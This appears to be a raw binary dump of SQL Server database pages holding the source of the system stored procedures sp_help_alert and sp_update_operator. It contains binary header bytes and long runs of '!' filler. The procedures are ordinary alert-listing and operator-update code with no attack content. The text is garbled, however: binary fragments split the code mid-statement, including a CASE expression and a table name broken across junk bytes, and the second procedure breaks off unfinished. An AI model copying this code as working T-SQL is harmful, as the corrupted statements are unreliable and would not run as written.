W@upload_job_state0-688
Y@collection_set_id0-64?@name0-774_@policy_category_name0-7788
[@policy_category_id0-Gr5++
"
Sprocessing_time0-Gr500Uaggregation_typeh4-a
V
k

^k		L		WJ5i*z/^i 5B;b1

v
M`<($Du՜DvCREATE PROCEDURE sp_help_alert
  @alert_name    sysname = NULL,
  @order_by      sysname = N'name',
  @alert_id      INT     = NULL,
  @category_name sysname = NULL,
  @legacy_format BIT  = 0 
AS
BEGIN
  DECLARE @alert_id_as_char NVARCHAR(10)
  DECLARE @escaped_alert_name NVARCHAR(256) -- double sysname
  DECLARE @escaped_category_name NVARCHAR(256) -- double sysname
  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @alert_name    = LTRIM(RTRIM(@alert_name))
  SELECT @order_by      = LTRIM(RTRIM(@order_by))
  SELECT @category_name = LTRIM(RTRIM(@category_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@category_name = N'') SELECT @category_name = NULL
  IF (@alert_name = N'')    SELECT @alert_name = NULL

  -- Check alert name
  IF (@alert_name IS NOT NULL)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysalerts
                    WHERE (name = @alert_name)))
    BEGIN
      RAISERROR(14262, -1, -1, '@alert_name', @alert_name)
      RETURN(1) -- Failure
    END
  END

  -- Check alert id
  IF (@alert_id IS NOT NULL)
  BEGIN
    IF (NOT EXISTS (SELECT *
                    FROM msdb.dbo.sysalerts
                    WHERE (id = @alert_id)))
    BEGIN
      SELECT @alert_id_as_char = CONVERT(VARCHAR, @alert_id)
      RAISERROR(14262, -1, -1, '@alert_id', @alert_id_as_char)
      RETURN(1) -- Failure
    END
  END

  IF (@alert_id IS NOT NULL)
    SELECT @alert_id_as_char = CONVERT(VARCHAR, @alert_id)
  ELSE
    SELECT @alert_id_as_char = N'NULL'

  -- Double up any single quotes in @alert_name
  IF (@alert_name IS NOT NULL)
    SELECT @escaped_alert_name = REPLACE(@alert_name, N'''', N'''''')

  -- Double up any single quotes in @category_name
  IF (@category_name IS NOT NULL)
    SELECT @escaped_category_name = REPLACE(@category_name, N'''', N'''''')

  IF (@legacy_format <> 0)
  BEGIN
    
     -- @order_by parameter validation. 
     IF  ( (@order_by IS NOT NULL) AND 
           (EXISTS(SELECT so.object_id FROM msdb.sys.objects so 
                      JOIN msdb.sys.columns sc ON (so.object_id = sc.object_id) 
                   WHERE so.type='U' AND so.name='sysalerts' 
                                     AND LOWER(sc.name collate SQL_Latin1_General_CP1_CS_AS)=LOWER(@order_by collate SQL_Latin1_General_CP1_CS_AS)
                  )
          ) )
     BEGIN
       SELECT @order_by = N'sa.' + @order_by
     END
     ELSE 
     BEGIN
        IF (LOWER(@order_by collate SQL_Latin1_General_CP1_CS_AS) NOT IN ( N'job_name', N'category_name', N'type' ) )
           AND --special "order by" clause used only by sqlagent. if you change it you need to change agent too
           (@order_by <> N'event_id DESC, severity ASC, message_id ASC, database_name DESC') 
           AND
           (@order_by <> N'severity ASC, message_id ASC, database_name DESC')
        BEGIN
          RAISERROR(18750, -1, -1, 'sp_help_alert', '@order_by')
          RETURN(1) -- Failure
        END
     END
    
    -- Old query version (for SQL Server 2000 and older servers)
    -- database_name and performance_conditions are reported
    -- directly from sysalerts columns
    EXECUTE (N'SELECT sa.id,
               sa.name,
                    sa.event_source,
                    sa.event_category_id,
                    sa.event_id,
                    sa.message_id,
                    sa.severity,
                    sa.enabled,
                    sa.delay_between_responses,
                    sa.last_occurrence_date,
                    sa.last_occurrence_time,
                    sa.last_response_date,
                    sa.last_response_time,
                    sa.notification_message,
                    sa.include_event_description,
                    sa.database_name,
                    sa.event_description_keyword,
                    sa.occurrence_count,
                    sa.count_reset_date,
                    sa.count_reset_time,
                    sjv.job_id,
                    job_name = sjv.name,
                    sa.has_notification,
                    sa.flags,
                    sa.performance_condition,
                    category_name = sc.name,
                    type = CASE ISNULL(sa.performance_condition, ''!'')
                  WHEN ''!'' THEN 1            -- SQL Server event alert
                  ELSE CASE sa.event_id
                     WHEN 8 THEN 4          -- WMI event alert
                     ELSE 2                    -- SQL Server performance condition alert
                  END
               END
             FROM msdb.dbo.sysalerts                     sa
                  LEFT OUTER JOIN msdb.dbo.sysjobs_view  sjv ON (sa.job_id = sjv.job_id)
                  LEFT OUTER JOIN msdb.dbo.syscategories sc  ON (sa.category_id = sc.category_id)
             WHERE ((N''' + @escaped_alert_name + N''' = N'''') OR (sa.name = N''' + @escaped_alert_name + N'''))
               AND ((' + @alert_id_as_char + N' IS NULL) OR (sa.id = ' + @alert_id_as_char + N'))
               AND ((N''' + @escaped_category_name + N''' = N'''') OR (sc.name = N''' + @escaped_category_name + N'''))
             ORDER BY ' + @order_by)
  END
  ELSE
  BEGIN

     -- @order_by parameter validation. 
     IF  ( (@order_by IS NOT NULL) AND 
           (EXISTS(SELECT so.object_id FROM msdb.sys.objects so 
                      JOIN msdb.sys.columns sc ON (so.object_id = sc.object_id) 
                   WHERE so.type='U' AND so.name='sysalerts' 
                                     AND LOWER(sc.name collate SQL_Latin1_General_CP1_CS_AS)=LOWER(@order_by collate SQL_Latin1_General_CP1_CS_AS)
                  )
          ) )
     BEGIN
       SELECT @order_by = N'sa.' + @order_by
     END
     ELSE 
     BEGIN
        IF (LOWER(@order_by collate SQL_Latin1_General_CP1_CS_AS) NOT IN (N'database_name', N'job_name', N'performance_condition', N'category_name', N'wmi_namespace', N'wmi_query', N'type' ) )
           AND --special "order by" clause used only by sqlagent. if you change it you need to change agent too
           (@order_by <> N'event_id DESC, severity ASC, message_id ASC, database_name DESC') 
           AND
           (@order_by <> N'severity ASC, message_id ASC, database_name DESC')
        BEGIN
           RAISERROR(18750, -1, -1, 'sp_help_alert', '@order_by')
           RETURN(1) -- Failure
        END
     END

    -- New query version. If alert is a WMI alert 
    -- then database_name is reported as wmi_namespace and
    -- performance_condition is reported as wmi_query.
    -- For other alerts those two new columns are NULL
    EXECUTE (N'SELECT sa.id,
                    sa.name,
                    sa.event_source,
                    sa.event_category_id,
                    sa.event_id,
                    sa.message_id,
                    sa.severity,
                    sa.enabled,
                    sa.delay_between_responses,
                    sa.last_occurrence_date,
                    sa.last_occurrence_time,
                    sa.last_response_date,
                    sa.last_response_time,
                    sa.notification_message,
                    sa.include_event_description,
               database_name = CASE ISNULL(sa.event_id, 1)
                  WHEN 8 THEN NULL
                  ELSE sa.database_name 
               END,
                    sa.event_description_keyword,
                    sa.occurrence_count,
                    sa.count_reset_date,
                    sa.count_reset_time,
                    sjv.job_id,
                    job_name = sjv.name,
                    sa.has_notification,
                    sa.flags,
               performance_condition = CASE ISNULL(sa.event_id, 1)
                  WHEN 8 THEN NULL
                  ELSE sa.performance_condition 
          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<$D     END,
                    category_name = sc.name,
                    wmi_namespace = CASE ISNULL(sa.event_id, 1)
                  WHEN 8 THEN sa.database_name
                  ELSE NULL
               END,
               wmi_query = CASE ISNULL(sa.event_id, 1)
                  WHEN 8 THEN sa.performance_condition
                  ELSE NULL
               END,
                    type = CASE ISNULL(sa.performance_condition, ''!'')
                  WHEN ''!'' THEN 1            -- SQL Server event alert
                  ELSE CASE sa.event_id
                     WHEN 8 THEN 4          -- WMI event alert
                     ELSE 2                    -- SQL Server performance condition alert
                  END
               END
             FROM msdb.dbo.sysalerts                     sa
                  LEFT OUTER JOIN msdb.dbo.sysjobs_view  sjv ON (sa.job_id = sjv.job_id)
                  LEFT OUTER JOIN msdb.dbo.syscategories sc  ON (sa.category_id = sc.category_id)
             WHERE ((N''' + @escaped_alert_name + N''' = N'''') OR (sa.name = N''' + @escaped_alert_name + N'''))
               AND ((' + @alert_id_as_char + N' IS NULL) OR (sa.id = ' + @alert_id_as_char + N'))
               AND ((N''' + @escaped_category_name + N''' = N'''') OR (sc.name = N''' + @escaped_category_name + N'''))
             ORDER BY ' + @order_by)
  END

  RETURN(@@error) -- 0 means success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($Nvf$CREATE PROCEDURE sp_update_operator
  @name                      sysname,
  @new_name                  sysname       = NULL,
  @enabled                   TINYINT       = NULL,
  @email_address             NVARCHAR(100) = NULL,
  @pager_address             NVARCHAR(100) = NULL,
  @weekday_pager_start_time  INT           = NULL, -- HHMMSS using 24 hour clock
  @weekday_pager_end_time    INT           = NULL, -- As above
  @saturday_pager_start_time INT           = NULL, -- As above
  @saturday_pager_end_time   INT           = NULL, -- As above
  @sunday_pager_start_time   INT           = NULL, -- As above
  @sunday_pager_end_time     INT           = NULL, -- As above
  @pager_days                TINYINT       = NULL,
  @netsend_address           NVARCHAR(100) = NULL, -- New for 7.0
  @category_name             sysname       = NULL  -- New for 7.0
AS
BEGIN
  DECLARE @x_enabled                   TINYINT
  DECLARE @x_email_address             NVARCHAR(100)
  DECLARE @x_pager_address             NVARCHAR(100)
  DECLARE @x_weekday_pager_start_time  INT
  DECLARE @x_weekday_pager_end_time    INT
  DECLARE @x_saturday_pager_start_time INT
  DECLARE @x_saturday_pager_end_time   INT
  DECLARE @x_sunday_pager_start_time   INT
  DECLARE @x_sunday_pager_end_time     INT
  DECLARE @x_pager_days                TINYINT
  DECLARE @x_netsend_address           NVARCHAR(100)
  DECLARE @x_category_id               INT

  DECLARE @return_code                 INT
  DECLARE @notification_method         INT
  DECLARE @alert_fail_safe_operator    sysname
  DECLARE @current_msx_server          sysname
  DECLARE @category_id                 INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name            = LTRIM(RTRIM(@name))
  SELECT @new_name        = LTRIM(RTRIM(@new_name))
  SELECT @email_address   = LTRIM(RTRIM(@email_address))
  SELECT @pager_address   = LTRIM(RTRIM(@pager_address))
  SELECT @netsend_address = LTRIM(RTRIM(@netsend_address))
  SELECT @category_name   = LTRIM(RTRIM(@category_name))

  -- Only a sysadmin can do this
  IF ((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))
  BEGIN
    RAISERROR(15003, 16, 1, N'sysadmin')
    RETURN(1) -- Failure
  END

  -- Check if this Operator exists
  IF (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysoperators
                  WHERE (name = @name)))
  BEGIN
    RAISERROR(14262, 16, 1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Check if this operator is 'MSXOperator'
  IF (@name = N'MSXOperator')
  BEGIN
    -- Disallow the update operation if we're at a TSX for all callers other than xp_msx_enlist
    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'MSXServerName',
                                           @current_msx_server OUTPUT,
                                           N'no_output'
    IF ((@current_msx_server IS NOT NULL) AND (PROGRAM_NAME() <> N'xp_msx_enlist'))
    BEGIN
      RAISERROR(14223, 16, 1, 'MSXOperator', 'TSX')
      RETURN(1) -- Failure
    END
  END

  -- Get existing (@x_) operator property values
  SELECT @x_enabled                   = enabled,
         @x_email_address             = email_address,
         @x_pager_address             = pager_address,
         @x_weekday_pager_start_time  = weekday_pager_start_time,
         @x_weekday_pager_end_time    = weekday_pager_end_time,
         @x_saturday_pager_start_time = saturday_pager_start_time,
         @x_saturday_pager_end_time   = saturday_pager_end_time,
         @x_sunday_pager_start_time   = sunday_pager_start_time,
         @x_sunday_pager_end_time     = sunday_pager_end_time,
         @x_pager_days                = pager_days,
         @x_netsend_address           = netsend_address,
         @x_category_id               = category_id
  FROM msdb.dbo.sysoperators
  WHERE (name = @name)

  -- Fill out the values for all non-supplied parameters from the existsing values
  IF (@enabled                   IS NULL) SELECT @enabled                   = @x_enabled
  IF (@email_address             IS NULL) SELECT @email_address             = @x_email_address
  IF (@pager_address             IS NULL) SELECT @pager_address             = @x_pager_address
  IF (@weekday_pager_start_time  IS NULL) SELECT @weekday_pager_start_time  = @x_weekday_pager_start_time
  IF (@weekday_pager_end_time    IS NULL) SELECT @weekday_pager_end_time    = @x_weekday_pager_end_time
  IF (@saturday_pager_start_time IS NULL) SELECT @saturday_pager_start_time = @x_saturday_pager_start_time
  IF (@saturday_pager_end_time   IS NULL) SELECT @saturday_pager_end_time   = @x_saturday_pager_end_time
  IF (@sunday_pager_start_time   IS NULL) SELECT @sunday_pager_start_time   = @x_sunday_pager_start_time
  IF (@sunday_pager_end_time     IS NULL) SELECT @sunday_pager_end_time     = @x_sunday_pager_end_time
  IF (@pager_days                IS NULL) SELECT @pager_days                = @x_pager_days
  IF (@netsend_address           IS NULL) SELECT @netsend_address           = @x_netsend_address
  IF (@category_name             IS NULL) SELECT @category_name = name FROM msdb.dbo.syscategories WHERE (category_id = @x_category_id)

  IF (@category_name IS NULL)
  BEGIN
    SELECT @category_name = name
    FROM msdb.dbo.syscategories
    WHERE (category_id = 99)
  END

  -- Turn [nullable] empty string parameters into NULLs
  IF (@email_address   = N'') SELECT @email_address   = NULL
  IF (@pager_address   = N'') SELECT @pager_address   = NULL
  IF (@netsend_address = N'') SELECT @netsend_address = NULL
  IF (@category_name   = N'') SELECT @category_name   = NULL

  -- Verify the operator
  EXECUTE @return_code = sp_verify_operator @new_name,
                                            @enabled,
                                            @pager_days,
                                            @weekday_pager_start_time,
                                            @weekday_pager_end_time,
                                            @saturday_pager_start_time,
                                            @saturday_pager_end_time,
                                            @sunday_pager_start_time,
                                            @sunday_pager_end_time,
                                            @category_name,
                                            @category_id OUTPUT
  IF (@return_code <> 0)
    RETURN(1) -- Failure

  -- If no new name is supplied, use the old one
  -- NOTE: We must do this AFTER calling sp_verify_operator.
  IF (@new_name IS NULL)
    SELECT @new_name = @name
  ELSE
  BEGIN
    -- You can't rename the MSXOperator
    IF (@name = N'MSXOperator')
    BEGIN
      RAISERROR(14222, 16, 1, 'MSXOperator')
      RETURN(1) -- Failure
    END
  END

  -- Do the UPDATE
  UPDATE msdb.dbo.sysoperators
  SET name                      = @new_name,
      enabled                   = @enabled,
      email_address             = @email_address,
      pager_address             = @pager_address,
      weekday_pager_start_time  = @weekday_pager_start_time,
      weekday_pager_end_time    = @weekday_pager_end_time,
      saturday_pager_start_time = @saturday_pager_start_time,
      saturday_pager_end_time   = @saturday_pager_end_time,
      sunday_pager_start_time   = @sunday_pager_start_time,
      sunday_pager_end_time     = @sunday_pager_end_time,
      pager_days                = @pager_days,
      netsend_address           = @netsend_address,
      category_id               = @category_id
  WHERE (name = @name)

  -- Check if the operator is 'MSXOperator', in which case we need to re-enlist all the targets
  -- so that they will download the new MSXOperator details
  IF ((@name = N'MSXOperator') AND ((SELECT COUNT(*) FROM msdb.dbo.systargets!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<e
$59
f$ervers) > 0))
    EXECUTE msdb.dbo.sp_post_msx_operation 'RE-ENLIST', 'SERVER', 0x00

  -- Check if this operator is the FailSafe Operator
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'AlertFailSafeOperator',
                                         @alert_fail_safe_operator OUTPUT,
                                         N'no_output'

  -- If it is, we update the 4 'AlertFailSafe...' registry entries and AlertNotificationMethod
  IF (LTRIM(RTRIM(@alert_fail_safe_operator)) = @name)
  BEGIN
    -- Update AlertFailSafeX values
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'AlertFailSafeOperator',
                                            N'REG_SZ',
                                            @new_name
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'AlertFailSafeEmailAddress',
                                            N'REG_SZ',
                                            @email_address
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'AlertFailSafePagerAddress',
                                            N'REG_SZ',
                                            @pager_address
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'AlertFailSafeNetSendAddress',
                                            N'REG_SZ',
                                            @netsend_address

    -- Update AlertNotificationMethod values
    EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                           N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                           N'AlertNotificationMethod',
                                           @notification_method OUTPUT,
                                           N'no_output'
    IF (LTRIM(RTRIM(@email_address)) IS NULL)
      SELECT @notification_method = @notification_method & ~1
